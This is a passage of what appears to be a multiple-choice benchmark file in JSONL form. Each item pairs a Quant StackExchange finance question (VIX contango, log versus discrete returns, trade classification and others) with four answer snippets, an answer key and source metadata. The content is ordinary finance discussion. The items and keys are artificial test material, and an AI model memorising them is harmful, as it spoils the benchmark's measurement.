\\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "D": "There are a some information about Renaissance Technologies available in The Quants from Patterson. Basically, and it's also what I heard in general, they are using intensively algorithmic trading, and from what I understood there are using Information Theory (they worked with Shannon if I remember well). I'd say it'd be harsh to say it's the next Madoff given the background they have, I can easily see them being simply better than the rest... It's just my opinion of course..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/998/strategy-of-renaissance-technologies-medallion-fund-holy-grail-or-next-madoff"} {"id": "finance_1628", "domain": "finance", "question_title": "What are the best sources for equity quantitative research?", "question_body": "What are the best sources of quantitative finance research in equities? I will list a couple and note an asterisk if the research is available by request (i.e. non-clients) or online: BAC-Merrill Lynch - Savita Subramanian Deutsche Bank - Yin Luo* Credit Suisse - Pankaj Patel Barclay's - Matthew Rothman HSBC - Ely Klepfish* Goldman Sachs - Quantitative Strategies Neuberger-Berman - Wai Lee Nomura - Joseph Mezrich Perhaps there are also more un-conventional sources of quant research besides sell-side wall street: Hussman Funds - John Hussman* Emanuel Derman's collection of papers", "question_score": 28, "question_tags": ["quant-trading-strategies", "equities", "research"], "choices": {"A": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "B": "Sell Side Macquarie Quant - Venkat Eleswarapu Bernstein Research - Vadim Zlotnikov Nomura - Joe Mezrich JPMorgan Investment Strategies series Societe Generale - Alain Bokobza Independent CXO Advisory Empirical Finance Blog Russell Indexes: Research and Insights MSCI Research Papers Axioma Research Papers", "C": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "D": "This question goes to whether the historical returns to factors represent: Spurious results, overfitting, data mining... Mispricing Unexploitable effects Compensation for risk Case 1: Spurious results etc... If someone constructs a \"stock tickers that begin with AAP or GOO\" factor, the highly above average returns would almost certainly reflect a fishing expedition (or conditioning on future information) and would not be reproducible going forward. Under a null of no above average returns, you're going to get portfolios that have above average historical returns with t-stats over 2. Beware. For something like the Fama-French factor $\\mathit{HML}$, this seems far less likely..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1628/what-are-the-best-sources-for-equity-quantitative-research"} {"id": "finance_1710", "domain": "finance", "question_title": "Proof that you cannot beat a random walk", "question_body": "There is much speculation to what degree financial series are random (and what kind of randomness prevails). I want to turn the question on its head and ask: Is there a mathematical proof that whatever trading strategy you use you cannot beat a random walk (that is the expected value will always be 0 assuming no drift)? (I found this blog post where the author used the so called \"75% rule\" to purportedly beat a random walk but I think he got the distinction between prices and returns wrong. This method would only work if you had a range of allowed prices (e.g. a mean reverting series). See e.g. here for a discussion.)", "question_score": 28, "question_tags": ["quant-trading-strategies", "random-walk"], "choices": {"A": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "B": "I can help you beat random walk 'in the way you want', i.e. the expected value $E[\\$]$ will always be positive even assuming no drift. However, I have to warn people that $E[\\$] > 0$ is NOT really an adequate condition for 'beating' in reality (at least to myself). Let's define some mathematical notations for derivation, and rephrase (simplify) vonjd's question without losing generality. Assume a trader plays a fair game, and his surplus $X(0), X(1), X(2), ... X(t)$ is a martingale. Q: Can the trader find a stopping time $s$ such that $E[X($s$)] > X(0)$? A proof supporting Bootvis'...", "C": "Sell Side Macquarie Quant - Venkat Eleswarapu Bernstein Research - Vadim Zlotnikov Nomura - Joe Mezrich JPMorgan Investment Strategies series Societe Generale - Alain Bokobza Independent CXO Advisory Empirical Finance Blog Russell Indexes: Research and Insights MSCI Research Papers Axioma Research Papers", "D": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1710/proof-that-you-cannot-beat-a-random-walk"} {"id": "finance_1888", "domain": "finance", "question_title": "Is the stock price process a martingale or a Markov process?", "question_body": "Some people claim that the data-generating process for stocks is a \"martingale\" and that is has the \"Markov property\". Are they unrelated? Is it that the Markov property implies some sort of martingale property, or is it the other way around? How do you statistically test for such properties? How far from reality is it to assume such properties?", "question_score": 28, "question_tags": ["equities", "martingale", "stochastic-processes"], "choices": {"A": "I know that I have seen things like this in the past. Wasn't there something recently that used Twitter? Here are a few recent papers as examples, although I will be brutally honest that I don't know if they speak to your decent quality requirement: \"Trading Strategies to Exploit Blog and News Sentiment\" (Zhang, Skiena 2010) \"The Predictive Power of Financial Blogs\" (Frisbee 2010) \"An analysis of verbs in financial news articles and their impact on stock price\" (Schumaker 2010)", "B": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "C": "From what I remember, there is no real relation between Markov and Martingale, and my intuition was confirmed by this post . Basically, it says that you can say neither of the following: If A is Markov, then A is a martingale. If A is a martingale, then A is Markov. further down the post, you can find two counter examples: $dX_t = a dt + \\sigma dW_t$ is Markov but not a martingale and $dX_t = (\\int_0^t X_s ds) dW_t$ is a Martingale but is not Markov. As for the assumption of these properties being true, I think it...", "D": "I recently read \"Modeling financial data with stable distributions\" (Nolan 2005) which gives a survey of this area and might be of interest (I believe it was contained in \"Handbook of Heavy Tailed Distributions in Finance\" ). Another more recent reference is \"Alpha-Stable Paradigm in Financial Markets\" (2008). I'm not aware of anything covering \"risk of fluctuations\" and this is still certainly not at the center of the field (i.e. most theory still includes some version of Gaussian or mixture of Gaussians). Would also be interested in other references."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1888/is-the-stock-price-process-a-martingale-or-a-markov-process"} {"id": "finance_3368", "domain": "finance", "question_title": "Why is an inverted yield curve a problem?", "question_body": "Immediately preceding the worst of the financial crisis, my professors all pointed out to me that the yield curve had inverted -- short-term yields were more risky than 20-year or 30-year Treasury securities. My professors all seemed nervous about this. Aside from such a situation being generally counter-intuitive, why was this viewed so negatively? What kind of effects does this have, in a more macro sense?", "question_score": 28, "question_tags": ["theory", "yield-curve"], "choices": {"A": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "B": "Nano answer : declining yield curve is a symptom that the market expects the economy to worsen. Short answer : yield curve is built on expected future interest rates. Yield curve will be downward sloping if you expect interest rates to fall in the future. Interest rates fall because the central bank react to worsening economy. So if the yield curve is downward sloping it means the market expects the economy to worsen to the point that the central bank will have to intervene.", "C": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "D": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/3368/why-is-an-inverted-yield-curve-a-problem"} {"id": "finance_11556", "domain": "finance", "question_title": "Why is the VIX futures market usually in a state of contango?", "question_body": "I'm a VIX newbie and I'm trying to understand why the VIX futures market is usually in a state of contango. All I can figure is that the sellers of VIX futures contracts demand high \"prices\" (because the seller is the holder of the short position and makes money when the price falls), and since there are willing buyers, namely ETNs and ETFs that are trying to track the S&P 500 VIX SHORT-TERM FUTURES INDEX (SPVIXSTR) through the purchase and sale of VIX futures, the contracts get sold. Also, the farther out the futures contract expires, the less certain the seller is about what the value of the VIX and the SPVIXSTR will be at the future's expiration date. The greater uncertainty over a longer term results in the seller demanding higher premiums over a longer term than he would demand over a shorter term. It seems like a prudent buyer of VIX futures wouldn't buy contracts that are priced so high. It seems like the VIX futures market should be in a state of contango about as frequently as it is in a state of backwardation. What causes contango in the VIX futures market, and why is it the usual state of the market?", "question_score": 28, "question_tags": ["volatility", "futures", "vix"], "choices": {"A": "Your questions about contango in VIX futures have close analogies in options too. The Black & Scholes model suggests that all time frames and all strikes should have the same implied volatility, but they don't. I think one of the reasons is that the B&S model assumes that stock returns are distributed in a normal (gaussian) distribution, but the actual returns don't match a gaussian distribution all that well. For example the actual occurrence of big crashes / gains is much more likely than a normal distribution would predict. Since crashes do occur people are willing to pay what the...", "B": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "C": "The term has a different meaning to different people. to econometricians, microstructure noise is a disturbance that makes high frequency estimates of some parameters (e.g. realized volatility) very unstable. Generally this strand of the literature professes agnosticism as to the its origin; to market microstructure researchers, microstructure noise is a deviation from fundamental value that is induced by the characteristics of the market under consideration, e.g. bid-ask bounce, the discreteness of price change, latency, and asymmetric information of traders. The last example is frequently cited but I don't think it is accurate. Asymmetric information does not have to be a...", "D": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/11556/why-is-the-vix-futures-market-usually-in-a-state-of-contango"} {"id": "finance_1177", "domain": "finance", "question_title": "Why is volatility mean-reverting?", "question_body": "We all know it does mean revert. The question is why. What's making volatility mean-revert? Is it some sort of cyclical behaviour of option traders? The way it's calculated? Why?", "question_score": 27, "question_tags": ["volatility"], "choices": {"A": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we...", "B": "Volatility is mean reverting if the underlying security doesn't drop to zero. If the security has some underlying \"value\" then its price is co-integrated with that \"value\". The volatility is the uncertainty of that price as it tracks the security's \"value\". Edit 12/03/2011 ================================================= @pteetor, I may have missed something, but the question was \" Why is volatility mean-reverting?\". I realize that the standard answer is that the VIX (I'm assuming he's asking about the VIX) is related to the historical volatility of the S&P. A simple version of that relationship provides a reasonable R^2 (see Fig. 1). It relates...", "C": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "D": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1177/why-is-volatility-mean-reverting"} {"id": "finance_2303", "domain": "finance", "question_title": "What does the VIX formula measure and how does it work?", "question_body": "I have read the CBOE's white paper on the VIX and a lot of other things, but I need to honestly say, I don't really get it, or I am missing something important. In semi-layman's terms, is the VIX simply the a measurement of the volume of protective options bought? That is, individual contract volatility increases when the option has been bid up by buyers due to desirability. One contract alone only marginally increases the overall market volatility, but if all contracts were bid up, then the entire VIX would be recalculated (on the fly) to reflect the higher value of protective options as a speculative/hedge solution. Do I understand this correctly, or do I really need to put more time into understanding that formula which comprises the VIX?", "question_score": 27, "question_tags": ["options", "volatility", "implied-volatility", "vix"], "choices": {"A": "VIX is a measure of implied volatility , specifically, model-free implied volatility , a concept originally developed by Demeterfi et. al. at Goldman Sachs in the 1990s . One of my recent questions, How to extrapolate implied volatility for out of the money options? , addressed some aspects of MFIV, and the papers mentioned in the question and answers will give you some more background on the concept. Also check out this JPMorgan research piece . The VIX is the square root of the market-implied variance swap rate, calculated based on the exchange-traded options portfolio typically used to hedge an...", "B": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "C": "Great question! I think the most useful starting point is Stock Return Characteristics, Skew Laws, and the Differential Pricing of Individual Equity Options by Bakshi, Kapadia and Madan (2003) . Their paper proposes a definition of model-free implied skewness (they originally called it risk-neutral skewness, but MFIS is more accurate), which they prove will have a P&L directly proportional to the realized skewness of the underlier. Subsequent papers (there are literally dozens) have thoroughly explored the properties of MFIS. In particular, Does Risk-Neutral Skewness Predict the Cross-Section of Equity Option Portfolio Returns? by Bali and Murray (2011) estimates the empirical...", "D": "Volatility is mean reverting if the underlying security doesn't drop to zero. If the security has some underlying \"value\" then its price is co-integrated with that \"value\". The volatility is the uncertainty of that price as it tracks the security's \"value\". Edit 12/03/2011 ================================================= @pteetor, I may have missed something, but the question was \" Why is volatility mean-reverting?\". I realize that the standard answer is that the VIX (I'm assuming he's asking about the VIX) is related to the historical volatility of the S&P. A simple version of that relationship provides a reasonable R^2 (see Fig. 1). It relates..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2303/what-does-the-vix-formula-measure-and-how-does-it-work"} {"id": "finance_1391", "domain": "finance", "question_title": "Papers about backtesting option trading strategies", "question_body": "I am looking for all kinds of research concerning option trading strategies. With that I mean papers that publish results on different option trading strategies properly backtested with real-world data.", "question_score": 26, "question_tags": ["options", "backtesting", "quant-trading-strategies", "research", "option-strategies"], "choices": {"A": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a...", "B": "The way you do it in the first place is a discretization of the Geometric Brownian Motion (GBM) process. This method is most useful when you want to compute the path between $S_0$ and $S_t$, i.e. you want to know all the intermediary points $S_i$ for $0 \\leq i \\leq t$. The second equation is a closed form solution for the GBM given $S_0$. A simple mathematical proof showed that, if you know the initial point $S_0$ (which is $a$ in your equation), then the value of the process at time $t$ is given by your equation (which contains $W_t$,...", "C": "I did some digging and found the following papers - most of them offering quite a distinct perspective compared to classical option pricing theory! Stock Options as Lotteries by Brian H. Boyer et al. (2011) The Efficiency of the Buy-Write Strategy: Evidence from Australia by Tafadzwa Mugwagwa et al. (2010) The following is my favorite: You could do some backtests on your own with freely available data (using the VXO as volatility information) and with any spreadsheet - easy and elegant: How Students Can Backtest Madoff’s Claims by Michael J. Stutzer (2009) Loosening Your Collar: Alternative Implementations of QQQ Collars...", "D": "Strictly speaking, data snooping is not the same as in-sample vs out-of-sample model selection and testing, but has to deal with sequential or multiple tests of hypothesis based on the same data set. To quote Halbert White: Data snooping occurs when a given set of data is used more than once for purposes of inference or model selection. When such data reuse occurs, there is always the possibility that any satisfactory results obtained may simply be due to chance rather than to any merit inherent in the methody yielding the results. Let me provide an example. Suppose that you have..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1391/papers-about-backtesting-option-trading-strategies"} {"id": "finance_2529", "domain": "finance", "question_title": "How do I adjust a correlation matrix whose elements are generated from different market regimes?", "question_body": "Say I want to calculate a correlation matrix for 50 stocks using 3-year historical daily data. And there are some stocks that were recently listed for one year. This is not technically challenging because the correlation function in R can optionally ignore missing data when calculating pair-wise correlation. But honestly it worried me after deep thought: all the correlations for the short listed stock will bias to the regime it live in. For example, a stock that exists only in last few months will inevitably have higher correlation than the stocks that have full 3-year history. And I think it will cause bias and annoying problems in the following applications using this correlation matrix. So, my question is: how do I adjust my correlation matrix whose elements are generated from different market regimes? I feel a dilemma. In order to assure that the whole matrix live in the same regime, it seems that either I need to use least possible samples, or I have to throw that stock away. But either way looks a waste to me. I know the correlations for that stock got to be lower, but how much lower? Is there an approach or formula derived from solid arguments? I did some research and surprisingly found that all public research on correlation matrix assuming adequateness of data. How can it be possible in practice?! A mystery for me to see this seemingly common problem has not been publicly addressed.", "question_score": 26, "question_tags": ["market-regimes", "correlation-matrix"], "choices": {"A": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "B": "Quant Guy's list is really impressive! However, I am not sure they will readily solve your specific problem? I think there is one missing piece . Please note that imputing missing data is a very broad topic. There are many recipes to impute missings but that's for their specific 'assumptions' and purposes. They do not necessarily intend to well address your specific problem: the regime change. To best address your specific problem, you have to quantitatively define the market regime as a part of your adjusting formula. Otherwise, it wouldn't logically make sense that your model is aware of and...", "C": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "D": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2529/how-do-i-adjust-a-correlation-matrix-whose-elements-are-generated-from-different"} {"id": "finance_4160", "domain": "finance", "question_title": "Discrete returns versus log returns of assets", "question_body": "There have been similar posts here already but nevertheless I find the question worth posting: why do some people claim that log returns of assets are more suitable for statistics than discrete returns. E.g. in the ESMA CESR guidliens about SSRI log returns are used. I personally think that discrete returns are as good for means of risk management as continuous returns. Furthermore in portfolio context I can calculate the portfolio return by weighting the discrete returns of the assets which does not work with log returns. The time-aggregation of log returns is easier that's true. But people rather think in discrete returns. If my NAV drops from $100$ to $92$ then I have lost $8\\%$ and that's it. Is there any study on this - any good reference? Anything that I can tell my regulator why I stick to discrete returns.", "question_score": 26, "question_tags": ["asset-returns", "log-returns"], "choices": {"A": "Arithmetic returns allow for easier cross-sectional aggregation and log returns allow for easier time-aggregation. The reason people use log returns (for equities) is that they are approximately invariant and hence easier to work with in estimating distributions. Meucci does better justice in describing invariance here . The basic idea (again, for equities) is that the distribution of security prices is log-normal, so the arithmetic returns will also be. However, making a log transformation results in approximately normal returns, which are easier to work with. Also, if you do assume them to be normally distributed, then there are convenient results for...", "B": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "C": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "D": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/4160/discrete-returns-versus-log-returns-of-assets"} {"id": "finance_8843", "domain": "finance", "question_title": "What are modern algorithms for trade classification?", "question_body": "When dealing with trade data, for example from TAQ, a common problem is that of determining whether a trade was a buy or a sell . The most commonly used classifier is the Lee-Ready algorithm ( Inferring trade direction from intraday data , 1991). Unfortunately, this method is known to be inaccurate: Lee and Radhakrishna ( Inferring investor behaviour: evidence from TORQ data , 2000) report that Lee-Ready incorrectly classifies 24% of the trades inside the spread. How to improve on Lee-Ready's recipie? What are the best algorithms for trade classification?", "question_score": 26, "question_tags": ["market-microstructure"], "choices": {"A": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "B": "I've not yet read it, but Lehalle's recent book is bound to be a goldmine of good micro-structure bits and pieces. Market Microstructure in Practice EDIT: I'm reading the book now, so far it's quite good.", "C": "There are a few approaches to use trade prices and quotes to classify the aggressor as \"buy\" or \"sell.\" Also, many of these methods have historically had to deal with unsynchronized data streams. Classification of Approaches We can largely break trade classification methods into four types: Tick tests , advocated by Finucane (2000) , compare a trade price to the previous differing trade price with upticks (downticks) being evidence of a buy (sell); Midpoint tests , advocated by Lee and Ready (1991) , compare a trade price to a contemporaneous midpoint (average of bid and ask prices) with trades above...", "D": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/8843/what-are-modern-algorithms-for-trade-classification"} {"id": "finance_11564", "domain": "finance", "question_title": "Why shrink the covariance matrix?", "question_body": "I'm trying to understand why it's useful to 